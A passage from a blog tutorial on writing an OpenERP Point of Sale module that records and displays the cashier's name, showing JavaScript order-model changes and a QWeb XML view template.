<code class="javascript_label">amount_tax</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTax</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">amount_return</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getChange</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">lines</code>: orderLines<code class="javascript_operator">,</code>
<code class="javascript_label">statement_ids</code>: paymentLines<code class="javascript_operator">,</code>
<code class="javascript_label">pos_session_id</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos_session</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id<code class="javascript_operator">,</code>
<code class="javascript_label">partner_id</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>) <code class="javascript_operator">?</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id <code class="javascript_operator">:</code> undefined<code class="javascript_operator">,</code>
<code class="javascript_label">user_id</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier</code><code class="javascript_literal1">'</code>) <code class="javascript_operator">?</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">user</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id<code class="javascript_operator">,</code>
<code class="javascript_label">cashier_name</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">selectedOrder</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getSelectedLine</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">selectLine</code>: <code class="javascript_keyword1">function</code>(line)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">if</code>(line)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">if</code>(line <code class="javascript_operator">!</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">if</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline<code class="javascript_operator">.</code><code class="javascript_function">set_selected</code>(<code class="javascript_literal2">false</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline <code class="javascript_operator">=</code> line<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline<code class="javascript_operator">.</code><code class="javascript_function">set_selected</code>(<code class="javascript_literal2">true</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_keyword1">else</code><code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline <code class="javascript_operator">=</code> undefined<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
</code></pre>
</div>
At the beginning of the module, we will add a <b>cashier_name</b> field to the order.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e27708">
initialize()<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e27708" onclick="selectionCode('contenuCoded0e27708');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e27708"> <code class="javascript_label">initialize</code>: <code class="javascript_keyword1">function</code>(attributes)<code class="javascript_operator">{</code>
Backbone<code class="javascript_operator">.</code>Model<code class="javascript_operator">.</code>prototype<code class="javascript_operator">.</code>initialize<code class="javascript_operator">.</code><code class="javascript_function">apply</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> arguments)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">set</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">creationDate</code>: <code class="javascript_keyword1">new</code> <code class="javascript_keyword3">Date</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">orderLines</code>: <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">OrderlineCollection</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">paymentLines</code>: <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaymentlineCollection</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">name</code>: <code class="javascript_literal1">"</code><code class="javascript_literal1">Order</code><code class="javascript_literal1"> </code><code class="javascript_literal1">"</code> <code class="javascript_operator">+</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">generateUniqueId</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">client</code>: <code class="javascript_literal2">null</code><code class="javascript_operator">,</code> <code class="javascript_comment1"><!--</code> DO NOT FORGET COMMA <code class="javascript_operator">-</code><code class="javascript_operator">-</code><code class="javascript_operator">></code>
<code class="javascript_label">cashier_name</code>: <code class="javascript_literal2">null</code><code class="javascript_operator">,</code> <code class="javascript_comment1"><!--</code> ADD cashier_name FIELD HERE <code class="javascript_operator">-</code><code class="javascript_operator">-</code><code class="javascript_operator">></code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos <code class="javascript_operator">=</code> attributes<code class="javascript_operator">.</code>pos<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline <code class="javascript_operator">=</code> undefined<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_data <code class="javascript_operator">=</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code><code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">see</code><code class="javascript_comment2"> </code><code class="javascript_comment2">ScreenSelector</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_type <code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">receipt</code><code class="javascript_literal1">'</code><code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'receipt'</code><code class="javascript_comment2"> </code><code class="javascript_comment2">||</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'invoice'</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
</code></pre>
</div>
As you can see, the order contains multiple fields. We simply add the <b>cashier_name </b>field.<br />
Now that the field is created, we can send the name of the cashier to the order when needed.<br />
Then we will add a function in the list of functions that already exist.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e27966">
set_cashier_name()<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e27966" onclick="selectionCode('contenuCoded0e27966');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e27966"> <code class="javascript_label">set_cashier_name</code>: <code class="javascript_keyword1">function</code>(name)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">set</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_name</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> name)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
</code></pre>
</div>
When <b>set_cashier_name()</b> function is called, it will send the name of the cashier in the field we added earlier.<br />
<div class="imgtext-idea">
If you well remember, this function is called in the <b>show()</b> function of <b>CashierPayScreenWidget </b>module.<br />
So when the payment page will be displayed, the name of the cashier will be sent to the order.</div>
Now we will modify the function that sends the order to the database.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e28023">
exportAsJSON()<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e28023" onclick="selectionCode('contenuCoded0e28023');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e28023"> <code class="javascript_label">exportAsJSON</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> orderLines<code class="javascript_operator">,</code> paymentLines<code class="javascript_operator">;</code>
orderLines <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">each</code>(_<code class="javascript_operator">.</code><code class="javascript_function">bind</code>( <code class="javascript_keyword1">function</code>(item) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> orderLines<code class="javascript_operator">.</code><code class="javascript_function">push</code>(<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">,</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> item<code class="javascript_operator">.</code><code class="javascript_function">export_as_JSON</code>()<code class="javascript_operator">]</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code> <code class="javascript_literal2">this</code>))<code class="javascript_operator">;</code>
paymentLines <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">paymentLines</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">.</code><code class="javascript_function">each</code>(_<code class="javascript_operator">.</code><code class="javascript_function">bind</code>( <code class="javascript_keyword1">function</code>(item) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> paymentLines<code class="javascript_operator">.</code><code class="javascript_function">push</code>(<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">,</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> item<code class="javascript_operator">.</code><code class="javascript_function">export_as_JSON</code>()<code class="javascript_operator">]</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code> <code class="javascript_literal2">this</code>))<code class="javascript_operator">;</code>
<code class="javascript_keyword1">return</code> <code class="javascript_operator">{</code>
<code class="javascript_label">name</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getName</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">amount_paid</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getPaidTotal</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">amount_total</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTotalTaxIncluded</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">amount_tax</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getTax</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">amount_return</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getChange</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">lines</code>: orderLines<code class="javascript_operator">,</code>
<code class="javascript_label">statement_ids</code>: paymentLines<code class="javascript_operator">,</code>
<code class="javascript_label">pos_session_id</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos_session</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id<code class="javascript_operator">,</code>
<code class="javascript_label">partner_id</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>) <code class="javascript_operator">?</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id <code class="javascript_operator">:</code> undefined<code class="javascript_operator">,</code>
<code class="javascript_label">user_id</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier</code><code class="javascript_literal1">'</code>) <code class="javascript_operator">?</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">user</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>id<code class="javascript_operator">,</code>
<code class="javascript_label">cashier_name</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">selectedOrder</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
</code></pre>
</div>
We added the <b>cashier_name</b> field in the return of the function.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e28486">
cashier_name<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e28486" onclick="selectionCode('contenuCoded0e28486');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e28486"> <code class="javascript_label">cashier_name</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">selectedOrder</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
</code></pre>
</div>
This time, we get the name of the cashier who was sent to the order earlier.<br /><br /><b>The openerp_pos_cashier module() is finished!</b></div>
<h3 class="TitreSection2" id="LVIII-A-8">
VIII-A-8. The best for last<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
The JavaScript file is almost complete.<br />
We now include our module inside the Point Of Sale.<br />
For this, there is no other way than to take the function that creates the Point Of Sale and add our module.<br />
So we add, following the module, the <b>openerp.point_of_sale() </b>function that is in the <b>main.js</b> file of <b>point_of_sale</b> module. <br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e28557">
openerp.point_of_sale()<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e28557" onclick="selectionCode('contenuCoded0e28557');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e28557"> openerp<code class="javascript_operator">.</code>point_of_sale <code class="javascript_operator">=</code> <code class="javascript_keyword1">function</code>(instance) <code class="javascript_operator">{</code>
instance<code class="javascript_operator">.</code>point_of_sale <code class="javascript_operator">=</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> module <code class="javascript_operator">=</code> instance<code class="javascript_operator">.</code>point_of_sale<code class="javascript_operator">;</code>
<code class="javascript_function">openerp_pos_db</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">db.js</code>
<code class="javascript_function">openerp_pos_models</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_models.js</code>
<code class="javascript_function">openerp_pos_basewidget</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_basewidget.js</code>
<code class="javascript_function">openerp_pos_keyboard</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_keyboard_widget.js</code>
<code class="javascript_function">openerp_pos_scrollbar</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_scrollbar_widget.js</code>
<code class="javascript_function">openerp_pos_screens</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_screens.js</code>
<code class="javascript_function">openerp_pos_widgets</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_widgets.js</code>
<code class="javascript_function">openerp_pos_devices</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_devices.js</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">cashiers</code>
<code class="javascript_function">openerp_pos_cashier</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">openerp_pos_cashier</code>
instance<code class="javascript_operator">.</code>web<code class="javascript_operator">.</code>client_actions<code class="javascript_operator">.</code><code class="javascript_function">add</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos.ui</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">instance.point_of_sale.PosWidget</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">;</code>
</code></pre>
</div>
We add the <b>openerp_pos_cashier</b> line.<br />
<b>And that's it for the pos_cashier.js file !!!</b>
</div>
</div>
<h2 class="TitreSection1" id="LVIII-B">
VIII-B. the pos_cashier.xml file<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h2>
<div class="BlocSection1">
This is the file of views needed to display the data in the Point Of Sale.<br />
This file is placed in the <b>xml</b> directory of the module.<br />
<blockquote class="citation">
<div>
<b><span style="color: blue;">/opt/modules-openerp/pos_cashiers/static/src/xml</span> </b>
</div>
</blockquote>
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e28857">
pos_cashier.xml<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e28857" onclick="selectionCode('contenuCoded0e28857');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e28857"> <code class="keyword3"><?</code><code class="keyword3">xml</code><code class="keyword3"> </code><code class="keyword3">version="1.0"</code><code class="keyword3"> </code><code class="keyword3">encoding="UTF-8"?</code><code class="keyword3">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">vim:fdl=1:</code>
<code class="comment1">--></code>
<code class="markup"><</code><code class="markup">templates</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">template</code><code class="literal1">"</code><code class="markup"> </code><code class="label">xml</code><code class="markup">:</code><code class="markup">space</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">preserve</code><code class="literal1">"</code><code class="markup">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Cashiers</code><code class="comment1"> </code><code class="comment1">drop-down</code><code class="comment1"> </code><code class="comment1">list</code><code class="comment1"> </code><code class="comment1">under</code><code class="comment1"> </code><code class="comment1">NumPad</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-extend</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">PosWidget</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-jquery</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">footer</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">t-operation</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">append</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">AlertNoCashier</code><code class="literal1">"</code><code class="markup">></code>You must create at least one cashier!<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-footer</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-title</code><code class="literal1">"</code><code class="markup">></code>
Select a cashier :
<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-frame</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-esc</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">widget.get_cashiers(widget.get_cur_pos_config_id())</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">select</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-select</code><code class="literal1">"</code><code class="markup">></code><code class="markup"><</code><code class="markup">/</code><code class="markup">select</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Name</code><code class="comment1"> </code><code class="comment1">of</code><code class="comment1"> </code><code class="comment1">the</code><code class="comment1"> </code><code class="comment1">cashier</code><code class="comment1"> </code><code class="comment1">on</code><code class="comment1"> </code><code class="comment1">Payement</code><code class="comment1"> </code><code class="comment1">Page</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-extend</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">PaymentScreenWidget</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-jquery</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">.pos-step-container</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">t-operation</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">prepend</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pay-screen-cashier</code><code class="literal1">"</code><code class="markup">></code>Cashier :
<code class="markup"><</code><code class="markup">span</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pay-screen-cashier-name</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">span</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Name</code><code class="comment1"> </code><code class="comment1">of</code><code class="comment1"> </code><code class="comment1">the</code><code class="comment1"> </code><code class="comment1">cashier</code><code class="comment1"> </code><code class="comment1">on</code><code class="comment1"> </code><code class="comment1">Ticket</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-extend</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">PosTicket</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-jquery</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">#header-ticket</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">t-operation</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">append</code><code class="literal1">"</code><code class="markup">></code>
Cashier : <code class="markup"><</code><code class="markup">span</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ticket-screen-cashier-name</code><code class="literal1">"</code><code class="markup">></code><code class="markup"><</code><code class="markup">/</code><code class="markup">span</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">templates</code><code class="markup">></code>
</code></pre>
</div>
Here we will use special tags that will allow <b>Qweb</b> rendering engine to insert objects in the page.<br />
<h3 class="TitreSection2" id="LVIII-B-1">
VIII-B-1. The dropdown cashiers<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
We will place the dropdown cashiers under the keypad.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e29491">
PosWidget<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e29491" onclick="selectionCode('contenuCoded0e29491');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e29491">
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Cashiers</code><code class="comment1"> </code><code class="comment1">drop-down</code><code class="comment1"> </code><code class="comment1">list</code><code class="comment1"> </code><code class="comment1">under</code><code class="comment1"> </code><code class="comment1">NumPad</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-extend</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">PosWidget</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">></code>
